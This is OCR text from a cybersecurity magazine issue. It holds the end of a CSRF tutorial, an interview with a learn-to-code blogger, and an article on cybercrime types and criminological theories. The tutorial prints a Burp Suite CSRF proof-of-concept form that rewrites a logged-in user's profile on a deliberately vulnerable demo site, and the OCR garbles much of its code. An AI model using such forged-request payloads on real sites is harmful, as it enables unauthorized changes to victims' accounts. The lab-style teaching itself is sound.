User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:52.0) Gecko/201001(
Firefox/52.0

Accept: text/html, application/xhtmi+xml, application/xml;q=0.%,*/*;q=0.8
Accept~Language: en~US, en;q=0.5

Accept-Enceding: gzip, deflate

Referer: hrrp://testphp.vulnweb.com/userinfo.php

Cookie: login=test$lftest

CAnnanr s Aan A\.'\'oa v
L2J ks ke 2 |l 0 matches
CSRF HTML

<html> A

<!-- CSRF POC - generated by Burp Suite Professional -->

o
[

<body>
<torm action="http://testphp.vulnweb.com/userintfo.php" method="posST">
<input type="hidden" name="urname™ value="John&#3Z; Smith" />
<input type="hidden" name="ucc"
value="123454845;56766045;23006#45; 9000" />
<input type="hidden" name="uemail®™ value=“emaili#é4d;emailssddé;com™ />
<input type="hidden" name="uphone™ value="I323345" />
<input type="hidden" name="uaddres=s" value="I14832;street" />
<input type="hidden" name="update™ value="update™ />
<inout tvoe="submit" value="Submit reauest" /> . L4

‘.l} LS %] 124 | Type @ search tem :

_ Regenerate Test in browser | [7Copymu7j | Close |

¢

Figure 67: CSRF PoC created by Burp Suite

Step 5: Do the changes and save the notepad in ".html" extension.
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T|Untitied - Notepad |

| File Edit Format View Melp

<html>
<l-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://testphp.vulnweb.com/userinfo.php” method="POST">
<input type="hidden™ name="urname" value="John&#32;Smith™ />
<input type="hidden™ name="ucc" value="12348#45;56784%45;23008#45;9000" />
<input type="hidden™ name="uemail” value="email&#64;email&#46;com” />
<input type="hidden™ name="uphone" value="2323345" />
<input type="hidden”™ name="uaddress” value="21&#32;street™ />
<input type="hidden™ name="update” value="update" />
<input type="submit™ value="Submit request™ />
</form>
</body>
</html>

Figure 68: Paste the generated CSRF PoC into the notepad.

‘I ; ]
File Edit Format View Help

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://testphp.vulnweb.com/userinfo.php” method="POST">
<input type="hidden” name="urname"|value="pprasoon&#32;nigam™ />|
<input type="hidden"” name="ucc" value="1234&#45;56788245;23008#45;9000" />
<input type="hidden" name="uemail” value1‘pprasoon&l64;guai1&046;cou" />|
<input type="hidden" name="uphone” value="23723335% />
<input type="hidden" name="uaddress™ value~"21&#32;street” />
<input type="hidden" name="update" value="update” />
<input type="submit" value="Submit request™ />
</form>
</body>
</html>

Figure 69: Save the CSRF PoC in “.html"” format.

Step 6: Open the saved “.html” file in the same browser where we have logged into the account.

Step 7: Click on "Submit Request" for CSRF attack.

@userido X fle///C/Users. sktop/ersfhtml X ==

Ul file/f/C:fUsersymmmmms mpues &0 8 /Desktop/crsf.ntml

£ Most Visited @ Getting Started

Submit request

Figure 70: Click on submit button after opening the "html" file in same authenticated browser.

Observe that the CSRF attack is successfully done.
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% fel/C:sers. sktoplenthtmd X | 4

€ V.-"i[ testphpazulnweb.com usennto ph ;:]

B Most Visted @ Getting Started

Aacunefix

home categories

search art
Jl 9o |

Browse categories
Browse artists
Your cart

Sgnup

Your profike

Our guesibook
AJAX Demo
Logout

Links
Security ant
Fractal Explorer

artists | gsclamer | your cart | guestbook | AJAX Demo

John Smith (test)

Name [3omn Smith

On thes page you can wiushze o adit you user information

Credt card mumber  |3234-3678-2300-9000

E-Mad ;’:"'”N L0
Phone number ('2323345
Address 21 street

wpdate l

You havwe 0 tems in your cart. You wsualze you can here

About Us Privagy Policy Contact Us

Figure 71: Content before CSRF attack.

X @ wermfc » e

€ © 8| resipho vulnweb.com usennto pho |

B Most Vioted @ Getting Stated

@ocunetix

home calegones arists  disclamer  your cart  guestbook  AJAX Demo

search art

[ e
Browse categones
Browse ansts
Your cant

Sgnup

Your profie

Our guesiDook
AJAX Desmo
Logout

Links

Secunty an
Fractal Explores

pprasoon nigam (test)

On thes page you Can WswakZe of &0 you uSer nfarmation

Nams poraEcen ngam

Credt card nuebed. 1 234.5670-2200-9300

E-Mad porascan@gmal com
Phone number 2323348
Address 21 street

“update |

ADOWE s Privacy Policy

Figure 72: Content has been updated after CSRF attack.

You have O tems in your cant. You waualze you can heve

ContactUs

Logout test

Logoat test
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REFERENCE:
https://www.owasp.org/index.php/Cross-Site  Request Forgery (CSRF)
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HaRkINS Laurence Bradford, the creator of Learn to Code With Me

[Hakin9 Magazine]: Hello Laurence! Thank you for developers in the US. And how it is only going to rise in
agreeing for the interview, we are honored! How the coming years. So, it was an easy decision. The only
have you been doing? Can you tell us something doubt was doubting myself and if | could stick with it.

about yourself?
[H9]: Where the idea of creating the blog LEARN TO

[Laurence Bradford]: Hey! Thanks for having me. | am CODE WITH ME came from?

doing well. A bit

[LB]: Initially it was a way to help me stay motivated. |
about me: | currently

would write about what | was learning. It helped me
reside right outside

stay accountable, and on track. Over time, though, it
of Boston, Massachu-

evolved into more than that. Rather than documenting
setts. | am the crea-

my own journey, | started to take a greater interest in
tor of Learn to Code

helping others who were just starting to teach them-
With Me - a site for

selves how to code. The site continues to evolve; | am

self-taught coders. |
excited to see where it heads in 2016!
am also the Tech Careers Expert at About.com. Overall,

| love helping people get paid to use their coding skills. [H9]: Do you remember the moment when you real-

ized that the website became something more than
[H9]: Why did you decide to become a self-taught

a learning journal?
developer?

[LB]: Yes — in late August 2014. About four months after
[LB]: | studied history in college. Afterwards, | went to

| started it. However, | really began taking things to the
teach English in Thailand. My career options were

next level in 2015.
bleak. | didn't want to dish out another $100,000+ on

grad school. And | began keeping a travel blog which [H9]: Why choose coding? Do you think that people
introduced me to the web. It was several factors — need more guidance in this area?
money, creativity, wanting to travel and make money.

[LB]: Having digital skills (including coding) is very lucra-
Learning how to code seemed like a perfect transition.

tive. These kinds of jobs tend to pay better, and offer

(It was!)

more flexibility. To me, it's a no brainer. Even if you
[H9]: It was a good choice — but was it an easy one? don’t want to become a web developer/software engi-
Did you have any doubts? neer, having coding skills can make you a more attrac-

tive job candidate. In business, marketing, customer
[LB]: At the time, it was really by only/best option. A

service, and so on. So choosing it is easy. Learning it is
few Google searches will show all the job openings for
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Laurence Bradford, the creator of Learn to Code With Me

not. It can be really frustrating. Especially for people
who are transitioning into it. So, those who don’t hold a
degree in CS. (Like me!) It's like...a whole new world.
So yes — | think people who are unfamiliar with technol-
ogy and want to make their way in, do need some

more guidance.

[H9]: Let’s say that | want start to learn how to code,

where should | begin my training?

[LB]: | usually tell most people to start with HTML and
CSS. You can see it right in your web browser with a
few clicks. (Inspect element and view page source.) You
can see the changes instantly — it's
very rewarding. As far as

where to start learning, there

are so many awesome places to

learn online and offline. | usually recommend

Codecademy, Free Code Camp, and GA Dash WITH

because they're free. When you're brand new, there is
no reason to spend money. (Now...as you progress, |
think investing in books and paid courses is important.

Because the material is more in-depth.)

[H9]: What is your favorite programming language
and why this one? Or maybe you have more than

one?

[LB]: | always tell people: learn a programming lan-
guage that will help you achieve your goals. For me
and my goals, all | really need to know is HTML, CSS (I
use Sass), some jQuery, and PHP. (PHP because | use
WordPress to power the learntocodewith.me blog.)
These aren’t my favorite things necessarily — but they're

what | need to work towards my goals.

As far as “favorite”—like | found it enjoyable to work
with—I suppose Python. While it's not technically a pro-
gramming language, | really, really, really like Sass. Mov-

ing from CSS to Sass was a game-changer.

[H9]: What is the most difficult thing to learn in cod-

ing?

[LB]: | think this really depends on the person. For me, |
find hardware side of things mind-boggling. | took an
Arduino class once and wanted to cry in frustration!
However for other people, they are a natural with hard-
ware. They like to hook things up - literally build with
their hands. However, maybe for them designing a web-

site is challenging. Again - | think it depends on the

person!

CODE [H9]: What is the question you get

asked most often when it

comes to learning coding?

/2

should | learn?”, and “Where should | learn next?” Are

[LB]: “What should | learn?”, “Where
probably the three most common. (Or some variation

of one of the above.)

[H9]: Your community at LEARN TO CODE WITH ME
is amazing! Do you receive a lot of feedback from
people? Do their comments and suggestions influ-

ence you and your blog?

[LB]: Oh thank you! That means a lot. Yes — definitely.
One of the best places to see the community is in my

Facebook group — Newbie Coder Warehouse. (Yes, |
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decided to go with another name for the group, be-
cause | felt like “Learn to Code With Me"” was too
“me”. And | wanted to make it more about the commu-
nity). Aside from that, emails | get from people are
really important. They shape a lot of the content on the

site and beyond. (Guest posts, products, oh my!).

[H9]: | found an information that you are planning to
launch your first podcast episode in late April. Can

you tell us something about this project?

[LB]: Yes — the Learn to Code With Me Podcast will be
tentatively launching on April 26th. (As long as the
iTunes approval process doesn't hit any hiccups — it usu-
ally takes 24 to 72 hours to get approved.) The podcast
is going to be in seasons - like a TV show. And the first

season is going to be called “From Code to Cash”.

| am interviewing different people about the ways they
make money through coding. There's also going to be
a handful of episodes that focus more on money-
making tactics. Like, how to ace your upcoming techni-
cal interview. And how to network your way to better

opportunities.

[H9]: So the podcast will be specifically aimed at
teaching coders how to market themselves and their
skills better, is that right? Do you think that there is

a need for improvement here?

[LB]: The podcast doesnt only cover how to market
yourself. That's one component of it. But it also sheds
light on the different kinds of careers out there for peo-

ple with coding skills. And a few episodes focus specifi-

cally on starting your own business, and how to go
about that. (From the perspective of people who know

how to code.)

As far as marketing skills go, | think it's something that a
lot of beginners struggle with. Especially those transi-
tioning careers, and coming from an industry that’s not
tech-related. Many are unsure what they should include
on their resume/portfolio, not confident in their abili-

ties, fear the technical interview, and so on.

Plain and simple: the goal of the podcast is to better
equip self-taught coders with the confidence and knowl-

edge that can help them land a new career in tech.

[H9]: Any plans for future? Are you planning to ex-

pand your blog into something else?

[LB]: While | love thinking about the future, | generally
only plan a few months out in advance. Around the
time the podcast launches, | am going to be releasing a

free portfolio course. It's like a taster of my more com-

prehensive program, Portfolio Dojo. (Which will be
launching soon after that.) Later this year | plan on put-
ting together another online program. Details are not
finalized yet, but it will most likely related to getting a

new career in tech.

[H9]: Do you have any thoughts or experiences you
would like to share with our audience? Any good ad-

vice?

[LB]: I guess the best thing | could say, that applies to

anyone and everyone, is to take action. You can read
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HaxINS Laurence Bradford, the creator of Learn to Code With Me

all books, articles, etc. you want. (Or listen to podcasts!) But they won't really get you anywhere. Taking action will.
Even if you “fail” at whatever it is you're trying to do (build a startup, learn to code, start a podcast, etc.) you'll learn

more from the process of actually doing than from reading another book!

[H9]: Thank you!

LEARN TO CODE WITH ME is a blog dedicated to help other beginners

M you improve your programming skills. Join this amazing community and

lo COD E learn how to code with me!
WITH %> Wake up, it’s 2016! Having a web presence matters. What's the best way

to start building yours? A portfolio website — Free Portfolio Course

< £ start out strong. You will find there many useful information that will help

Learn to Code With Me Podcast — Website or visit iTunes

O 0 O
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Understanding CyberCrime and CyberCriminals

What We Will Learn

In this article we will look at what we mean by cyber crime and set its boundaries, i.e. what distinguishes cyber crime
from other types of crime; and look at the criminals that commit such crimes and their motivations. This understand-
ing is needed to deter the criminals from attacking in the first place; and after they have attacked, determine what fo-

rensic information is required and what approach is needed to be able to successfully prosecute the perpetrator.
Cyber Crime — What is it?

To set the boundaries for cyber crime, we need to understand the legal definitions that separate it from other types of

crime. A cyber crime has one or more of the following characteristics:

e The computer or network is used as an instrument of the crime, e.g. the criminal activity cannot be
undertaken without the computer or network being switched on and in use, such as when initiating a Denial of

Service (DoS) attack.

e The computer or network is the target or focus of the crime, e.g. an attempt to hack a server to steal
data has that server as the target, even though a computer or network is also often used as an instrument for
the attack; but if an attacker gains physical access to the server and steals the unencrypted drives then the dis-

tinction is clearer.

e The computer is an evidence repository, e.g. the evidence can be found on the computer when electronic

documents containing stolen intellectual property are stored on a drive on the system.
The criminal act itself may include only one of these, or may involve all three.

A variation on all of the above is cyber terrorism, a distinct type of terrorism building on the above crimes. The aim of
terrorism is not to cause personal physical, infrastructure, or economic harm, but to do just enough to scare the public
into thinking these are possible; and cyber terrorism is terrorism that uses the first two categories of the above crime

categories, where the computer is the instrument of the crime or the target.
Types of Cyber Crime

When a cyber crime is committed it often includes a number of the individual crime categories or is a prelude to an-

other type of crime. Cyber crimes can be broken down into the following types:

o “Hacking”/“Cracking” — Whilst known commonly as “hacking”, this term used to be related to modifying the
usage of something technical to achieve an unintended purpose, and the term “cracking” is probably more accu-
rate. Hacking is essentially the unlawful access of another person, organization or company’s com-
puter without the permission of the owning entity. Whilst the purpose of the “hack” may be investiga-

tive in finding security flaws or for an individual to prove their abilities, it is still a crime. However, in most
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cases the professional criminal hack is for later exploitation for fraud, stealing of data using malware, or to per-
form damage to a system’s operation, such as with a denial of service attack or use of a virus to cripple sys-

tems.

o Identity Theft — As the name would imply, this is the stealing and use of a person’s identity informa-
tion, often including credit, address, tax, and banking details for fraudulent purposes or to masquerade as that
person. Note that the stealing of the identity is a crime, but the intent is often for the purpose of theft or crimi-

nal damage of some form.

e Internet Fraud — Fraud is the wrongful or criminal deception intended to result in financial or
personal gain; so in this case, the deception uses the Internet, its facilities, and entities with a
presence on the Internet for that fraud. This is a large subject area that is best explained with examples,
such as criminals using stolen banking credentials to steal funds, online auctioneers taking payment for prod-
ucts they never send, or email scams offering to transfer large funds without doing so in return for a smaller in-
vestment. In these cases the fraud is a crime in its own right, but the use of the computer and Internet adds a

dimension that makes it harder to track and prosecute.

o Intellectual Property Theft / Digital Piracy / Copyright Infringement— The definition of Intellectual
Property refers to a creation of the intellect to which a monopoly of ownership and usage is as-
signed by law; with examples ranging from music and books, to patents and company strategy
secrets and information; so copying and stealing it is intellectual property theft and distribut-
ing it is digital piracy. This is a crime that so many consider is “victimless”, neglecting the loss of earnings to
the creator, so download copyrighted music and movies from the Internet is a crime committed by a large num-
ber of people; but the theft of engineering designs and company strategy is big risk to the economy and com-

pany earnings.

e Cyber Squatting - Officially this is registering, trafficking in, or using an internet domain name as-
sociated with a trademark of another entity with bad faith or intent to profit from it. Often this is
related to fraud in that the perpetrator tries to profit from selling the domain name back to the copyright

owner, so in this case, the crime is variation on both intellectual property theft and fraud.

¢ Online Harassment / Cyber Bullying / Cyber Stalking / Surveillance and Snooping — This crime
exists in variations that include the uninvited or unwanted following of an individual’s online, social

media, or email presence for the purposes of bullying, harassing or scaring them. Some posting of

bullying messages or unwanted sharing of private images retrieved from hacked emails have resulted in sui
cides, and even if the outcome is not this or legal action from the attacked individual, the misuse of computers

for this purpose is a crime.

e Child Digital Pornography — This is the taking, distribution and downloading of illicit, abusive,

non-consensual images of minors; exploiting the age old crime of abuse of children and bringing it into
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the digital age where images can be easily shared electronically. This is the largest section of the cyber crime
range in terms of prosecutions, but is especially difficult to prosecute as the legal ages relating to minors differ

in different parts of the world.

¢ Electronic Bodily Harm or Murder — This is the use of a computer or electronic device (e.g. a ro-
bot, phone, household device) to commit an act harmful or fatal to an individual. Whilst there are
debates as to the extent of such attacks, they are definitely possible. In the 1980s it was possible to change the
criteria of a cathode ray tube (CRT) monitor electronically to cause it to implode; and more recently, aircraft,
cars, and air traffic control systems have all been attacked or had “software glitches” that have resulted in poten-
tial or actual harm or death. In 2015, a malfunctioning robot crushed the skull of a worker in Michigan. As soft-
ware malfunctions can cause harm, and there is evidence that some “hacking” of such devices has been at-

tempted; the possibility of harm or murder deliberately caused is ever more likely.

The aim of responding to any of these crimes is to achieve a successful prosecution and produce future mitigations to
reduce the likelihood; either through security controls or through appropriate punishments through the legal system
so as to make committing the crime unattractive in comparison to any benefits or pleasure the criminal may derive. To
achieve successful prosecution through the legal system, evidence must be captured in line with appropriate forensic
and “chain of custody” requirements in such a way that there is no doubt as to the identity of the criminal and the ex-

tent of the crime.
The Cyber Criminal

The keys to understanding the cyber criminal are the tools used, the skill of the attacker, and the motivation behind
the attack. This splits the set of attackers into different “actors” with associated motivations and behaviours that dic-

tate the threats each presents and also how they can be thwarted.

e Hackers — These split into three categories depending on motivation. True hackers are highly skilled individu-
als who perform reconnaissance to probe the “attack surface” of a company or system to gain an understand-
ing and look for vulnerabilities to exploit. They then use tools or home written code to attack those vulnerabili-
ties and make their way into the system. Once inside the system is “pwned” and they usually leave a back door

for “command and control” to allow them easier future entry to the system.

e White Hats - Those who perform these steps to understand the system and then report the vulnerability,
and maybe provide fixes or workarounds, are called “white hats”; they may do this as their career or job

as “penetration testers”.

e Black Hats - Some “hack” for malicious reasons to damage systems, or to commit fraud or some other

act for financial gain; these are called “black hats”.

e Gray Hats - The third category, “gray hats”, are a mix of the two categories and sometimes find vulner-

abilities so they can sell services to fix them, although in many ways a gray hat is someone who sometimes

93


https://hakin9.org
https://hakin9.org
https://hakin9.org
https://hakin9.org
https://hakin9.org

HaRINS

Understanding CyberCrime and CyberCriminals

acts in the role of a black hat and sometimes in the role of a white hat. The motivation of a hacker usually
starts out as an attempt to understand systems and prove their abilities, but at some point, the need to
earn money from these skills directs the individual to one of the black or white hat roles depending on an

internal moral code.

o “Script Kiddies” — These are less skilled than true hackers, but ultimately have the same effect, albeit usually
in a less targeted manner due to the lesser skills and understanding. They search the internet for tools to use to
attack systems, often on the dark web or dark net that is not searchable using legitimate search engines, and
then set them loose on individuals or legitimate organization or company web sites without understanding how
they work or what effect they have at the detail level. The lack of understanding and skills with such powerful

tools makes this category particularly dangerous - an analogy would be giving a chainsaw to a child to prune a

flower from a plant - yet they use these tools widely and regularly rather than the targeted and methodical ap

proach of the true hacker.

o “Hacktivists” — These are black hat hackers with a particular motivation, that of making a political statement;
usually this gives a moral direction to restrict actions to those of a social activist and performing defacing of
web sites of companies or organizations with opposing views or performing a denial or service attack to restrict
their operation. Extreme cases of “hacktivism” can be classed as cyber terrorism, particularly if the denial of

service is on government, major corporations with large economic effects, or critical infrastructure operations.

e Cyber terrorists — This is also a category of black hat hacker with a particular motivation; that of striking
fear or terror into the public consciousness. Usually a cyber terrorist, who is also an extreme type of hacktivist,

will attack government, critical infrastructure, or major economic interests of a nation to cause fear of actual

harm or economic harm. Special cases of critical infrastructure attacks are threats to aircraft and related criti

cal infrastructure, or cars, as the threat of harm and death now equals that of traditional terrorism.

e Organised Crime — This type of black hat hacker is simple to understand, and consists of a group of individu

als working together illicitly for financial gain, with some aspect of the crime being electronic. This may include

fraudulent attacks, but often will focus on identity theft to facilitate other criminal activity such as money laun
dering, intellectual or financial theft or people trafficking. A company sponsoring a hacker to steal secrets from

another competing company is taking the role of organised crime.

e Nation State / Cyber Warriors — In some ways this is not a criminal, per se, but undertakes criminal activ
ity from the perspective of one nation over another. These black hats attack companies, government, defence,
or critical infrastructure of other countries under the sponsorship of one nation with an aim of stealing secrets,

or causing physical or economic hardship in the target nation. Companies attacked by nation states are usually

those with specific highly important secrets, such as aircraft designs, or those with a particular level of impor

tance in the target nation (e.g. the largest bank). An attack typifying this category is that of the “Stuxnet” mal
ware believed to be the product of the US and Israel that specifically rendered the nuclear uranium centrifuges

of Iran unstable and damaged the Iranian nuclear weapons program after delivery via an infected USB drive. It
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is believed that these “cyber skirmishes” are a prelude to the future of war, a “cyber war”, when nation states
will attack each other electronically to avoid risking the lives of soldiers required to be physically present on en-

emy territory.

Understanding the type of attacker tells us not just what skills they have, but also what they might attack and how we

might prevent the attack entirely or respond to minimise the effect. For this we need to understand the psychology.
Cyber Criminal Psychology and Cyber Criminology

Cyber criminal psychology is a fairly new discipline in some ways in its own right, but can be considered as a result of
trying to understand general criminal motivation coupled with the securitization techniques from international stud-

ies. Motivations can be grouped and, as a result, the responses can also be grouped.

e Political Attackers - Motivations for “hacktivists” and “cyber terrorists” are political and aimed at highlight-

ing a “cause”; reducing the highlight or damaging the cause reduces their motivation.

e Non-fraud related hacking and script kiddies - For “script kiddies” and non-fraud related cyber-crimes
the motivation is proving how smart the attacker is or how poor the security is; “defence in depth” and layers of

security to make the attacker work hard reduces the motivation.

e Fraud and Organised Crime - For fraud related activities and organised crime, using tokens instead of real

value or payment mechanisms, and reducing the attack surface cuts down on the motivations for fraud.
Politically Motivated Attacks

For political motivations, the political and psychology related subject of securitization from international security stud-
ies helps to understand the mind of the attacker. In securitisation, an issue or event is not considered a threat until
someone, usually a politician, radical preacher, or terrorist leader, names it as such as a means to gain more power. It’s
simply the use of language to describe something to make it appear as a threat, or conversely to reduce its appearance
as a threat. Securitisation is about language used and its relationship between the power and presence of the speaker

(“ethos”) and the appeal to the emotions of the audience by highlighting a perceived threat (“pathos”).

The technique is especially important in the fields of terrorism, and cyber terrorism, as it is the mechanism that under-
pins terrorism, radicalisation, and the appropriate counter responses. To be very clear, it is not the criminal act that
makes something terrorism, but the language used to describe it and the fear instilled as a result. This may seem outra-

geous, but let’s explain with some examples.

Consider the Airbus A400M Atlas plane crash in Seville on 9t May 2015 where four people died when the software con-
trolling three of the engines would not allow the pilots to set cruising speed due to a “glitch” caused by an engineer acci-
dentally wiping key data. It is likely that an aircraft can be “hacked” from onboard using certain exposed cables that
connect to the cockpit, but so far no crashes or deaths have been attributed to hacking. If this crash were described as

“hacking” rather than an accidentally caused “software glitch” there would be fear of flying from the general public.
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With physical and cyber terrorism, the aim is the same; communicate a message through disaster and danger to the
public. Recently, in London in the UK, a police officer was killed through stabbing and many injured when the attacker

ran over pedestrians in his car. This was declared as terrorism due to his stated intent, and the result was public fear of

another attack. In Australia, a similar set of circumstances in Melbourne, where the attacker driving a car into pedestri

ans was declared as mentally ill did not result in wider public fear. Not wanting to take away anything from the inci
dents, I know people involved and suffering, the difference in the resulting fear was the language used to describe the

incident.

Similar events where air traffic control systems in various countries were disabled through human induced “failures”,
the use of the term “hack” over “software glitch” completely changed the public perception and the resulting response

from the public.

The same can be intentionally done to reduce fear. When the US-led coalition sent planes into the Middle East to at

tack ISIS bases, the wording and gestures used by the leaders differed greatly, and as a result, so did the public percep

tions. The approach used by most leaders was to issue a very grave statement that ISIS posed a threat in many coun-
tries so aircraft were being used to attack their command and control infrastructure; the grave statement relating the
attacks to potential local terrorism resulted in fear. The approach by the Australian leader at the time, Tony Abbott,
was a masterful use of securitization techniques with psychology in word and mannerism usage to reduce fear; as he

waved his arms around as if stating something that wasn’t important enough to be at the forefront of his memory and

said the planes were needed to deal with that “er, Daesh death cult”, not even giving them the title they used for them

selves.

Terrorism is not about causing damage or death, but about communicating a political message, usually one of fear. Se-
curitisation turns a criminal act into a terrorist one or a threat to survival of a target group, and takes a political issue
and makes it a security issue, or more specifically a terrorist one. This is how radicalization works, in that a security
actor, i.e. a terrorist leader or radical preacher, is given the power of the audience as the leader to enable him or her to

act. The language and speech is the “locutionary act” which relates to “lagos”, the position of the speaker, the “illocu

tionary act” or “ethos”, and the targeted feelings of the audience is the “perlocutionary act” or “pathos”. The process

relates the message, the sender, the message generator, and the receiver.

“Essentially, the very thing that separates terrorist violence from ordinary criminal violence — and thus makes it terror
ism — is that the act is instilled with political or politico-religious meaning. It is the message that makes terrorism.

There is a sender (the terrorist), a message generator (the victim), and a receiver (the public).” (J. Staun, 2010).

This may not seem that important or even relevant, but the language we use to describe an incident or attack greatly
affects the perception of success in the eyes of the attacker. If we refer to an attack by a “hacktivist” or “cyber terrorist”

as a “software glitch” with no further details, given their political motivation to highlight a cause, their success and re-

lated power to highlight that cause are removed too. If the cause isn’t highlighted then there is no benefit to the at

tacker to mount future attacks, thus reducing the future threat.
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Cyber Criminology

For other types of attacks, psychological research has been undertaken, derived from physical world criminology re-
search theories. These are covered in journals and books on cyber crime and cyber criminology in depth, along with

wider theories in computer use in the field of cyber psychology.
Self Control Theory

This general theory of criminal behaviour postulates that criminals often have low self-control so seek immediate grati-
fication in terms of excitement and financial gain, even ignoring any negative long-term effects in terms of career and
future punishment. This behaviour is associated with parental relationships during upbringing. “Script-kiddies” are
believed to be particularly susceptible to this seeking of short-term gratification, so making an attack harder and more

of a time investment is a demotivator — a strong argument for defence in depth.
Labeling Theory

This simple theory says that if an individual is labeled in a negative light as evil or a criminal then their behaviour will
tend to follow that pattern due to self-belief or a difficulty escaping the effects of that labeling. This can be seen particu-
larly in the area of sex crimes, where teenagers engaging in under age sex are labeled as sex offenders and put on a reg-
ister which then often leads them into more deviant sexual behaviour, which may include downloading child pornogra-
phy and cyber stalking. Children labeled as anti-social with technical skills may get labeled as “hackers” and then due
to self-belief and a desire to prove themselves may lead to trying to live up to the label. The moral of this theory is to

avoid labeling individuals wherever possible and focus on labeling the acts themselves with care.
Deindividuation Theory

This is a scientific representation of the standard parenting excuse of “falling in with a bad crowd”, emphasising the
crowd, where people taking part in group activities lose a sense of self-identity and “follow the crowd”. This was evi-
denced in the famous Stanford experiment; students were assigned to take on the role of prison guard and prisoner
and took on more aggressive behaviour associated with the group identity until the experiment had to be stopped due
to safety fears. There is an assumption of anonymity on the Internet and if publicity glorifies certain behaviour, indi-
viduals will most likely follow suit if they think they won’t get caught, as is the case with “hactivists” and “script-
kiddies”. Research has shown that people are more likely to go further online than they would in face-to-face confronta-
tions, as seen in cyber bullying and trolling. There is a suggestion that showing that the user identity information on a
page, such as with messages of “User ID” and “IP Address” may deter criminal activity as it identifies the individual
who would otherwise be encouraged through their belief in anonymity. Similarly, messages relating to authorised use

policies can demotivate a potential attack.
Routine Activities Theory

This theory has particular effect on the implementation of security controls. It works from the basis that criminals are

making rational decisions when they seek to commit a crime, expecting to get some benefit from it and not get caught.
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A crime is believed to occur under three conditions: 1) a motivated criminal, 2) a target, and 3) the absence of a guard-
ian. This is best explained in physical terms as relating to a burglary where a potential burglar sees something he
wants to steal, but will be motivated by the absence of a burglar alarm, which is why less affluent areas without burglar
alarms are more often targeted. In cyber security terms, the presence of anti-virus and anti-malware technologies will
demotivate a criminal from a particular target due to the possibility it may alert or protect from an attack, even if the
defences would not detect or respond to the attack in question. Therefore, the appearance of defence in depth and a
number of defences, along with acceptable use messages and details of security and prosecution threats, coupled with

user details that remove anonymity (e.g. IP address), can take the guardian position and prevent an attack.
Social Structure and Social Learning Theory

This is another scientific representation of the parenting excuse of “falling in with a bad crowd”, emphasising the learn-
ing of bad behaviour from individuals in the group rather than losing individuality in the direction of the group as a
whole. So, in principle, if individuals associate with criminals, they will learn criminal behaviour and become criminals
themselves. On the web, users who frequent hacker web sites or radicalization web sites will start out with some moti-
vation or interest taking them to the sites in the first place, but will take on more criminal behaviour as they learn
hacker activities. Initial interest in such communities may develop into excusing activities, e.g. that software piracy
isn’t really a crime or child pornography doesn’t develop into child abuse (although it has been proven to be used in
“grooming”), and then the next step is to fully participate. Associating with hackers online or offline influences develop-
ing hackers, so reducing the access to the sites themselves and reducing publicity of the communities, will have the ef-
fect of reducing criminal activities, and publicising the criminal nature of the activities and negative effects of prosecu-

tion on future careers also gives a major disincentive.
Neutralization and Rationalization Theory

This general theory of criminology considers how an individual rationalises the move from law abiding to criminal be-

haviour without guilt through the process of “drift” via one or more of five techniques:
a) Denial of injury — in this the act is assumed to not “cause any real harm”
b) Denial of victim — in this the act is assumed to not “hurt any actual individuals”

c¢) Denial of responsibility — in this the perpetrator claims that “circumstances” made them do it so they couldn’t

help themselves

d) Condemnation of the condemners — this is where a perpetrator accuses the accusers of “committing a worse

crime themselves” or the same crime in similar circumstances

e) Appeal to higher loyalties — in this the perpetrator argues that the values of society aren’t right and that his or

her own values are more important
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It can be seen how these rationalizations have been used to justify cyber criminal behaviour; neutralization if it is be-
fore the criminal act is committed and rationalization if it is after the act. It can be seen that a), b) and d) are often
used in hactivism on banks and government sites or digital piracy. For cyber terrorism, d) and e) are often used to jus-
tify the act. With organised crime, the argument for ¢) is sometimes used. To overcome the rationalizations, some suc-
cess has been seen in tying the act to actual victims, such as in advertising on DVDs to show how piracy has cost jobs
for less visible jobs in film making, or how less well paid jobs have been lost as a result of hactivism. Publicising job
losses after the events of cyber crime or how attacks on the government results in less investment on health care or
schools can show the effects of cyber crime; this coupled with law abiding peer pressure should have an effect on reduc-

ing the self-justification for future criminal acts.
Space Transition Theory

This is a theory specifically formulated for cyber crime, showing that people behave differently in cyberspace to physi-
cal space; as a result those who would not commit a physical space crime are more likely to commit crimes in cyber
space. Social media has shown that people are more likely to use confrontational language online that they wouldn’t
use in face-to-face meetings. Similarly, whilst digital piracy is common, most common perpetrators would not physi-
cally steal a wallet or take items without paying from a shop. One of the major beliefs behind this behaviour is believed
to be due to the perceived anonymity in online actions, but there are seven components and beliefs underlying the the-

ory that explain the behaviour:

A) Some people have criminal tendencies, but fear of getting caught and losing social status stops them commit-
ting the crime in “physical” space, but the lack of human observers in cyberspace reduces that risk so they

give in to their tendencies.

B) Perceived anonymity of an online identity coupled with the difficulty of prosecution of online cross-

jurisdictional crimes reduces the fear of being caught.

C) Criminals from physical space are moving into cyberspace due to the lower risks of being caught, and success-
ful criminals in cyberspace who aren’t caught may feel encouraged to take risks in physical space and commit

physical space crimes.

D) Those with repressed behaviour and beliefs due to the closed nature of the society or situation in which they
live may feel freer to express themselves, their beliefs, and criminal motivations in cyberspace where the

physical repressive controls aren’t there to dissuade them.

E) The global nature of cyberspace leads to a mix of people with different cultural norms and a tendency to stan-
dardise on common “online values”, which may take the form of a “lowest common denominator” view of le-

gality and criminal behaviour to increase the likelihood of cybercrimes.
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F) The global nature of cyberspace allows criminal behaviour to occur from anywhere in the world and then
make an escape, and entry into and out of cyberspace can occur at any time, so chances of being caught are

less than in physical space.

G) The social nature of cyberspace (e.g. social media, email, forums, etc.) allows strangers to collaborate on com-
mitting crimes in physical space, and conversely those who know each other in physical space can collude to

commit crimes in cyberspace.

Whatever the reason or combination of reasons motivating cybercriminal behaviour, the response to protect against
the behaviour beyond physical controls is to ensure the potential criminal fears loss of anonymity (e.g. show messages
showing IP address, geolocation, etc.) and is aware of the nature of any potential crime and a desire to prosecute; a po-
tential criminal who believes they can be identified and forensic information has been captured will be less motivated

due to fear of being caught.
What Cyber Criminal Psychology and Cyber Criminology Tell Us

Essentially, the psychology underpinning all of the theories of the above tells us that defence in depth provides real pro-
tection for data and processes, and also provides a deterrent; but understanding the motivations and fears of a poten-
tial cyber criminal and responding accordingly can also reduce the risk of crimes occurring. Ultimately, the hardened
attacker from an organised crime gang will still likely try to commit the crime, but is just as likely to use physical com-
ponents of an attack and the crime may relate to wider physical criminal behaviours (e.g. human trafficking). Reduc-
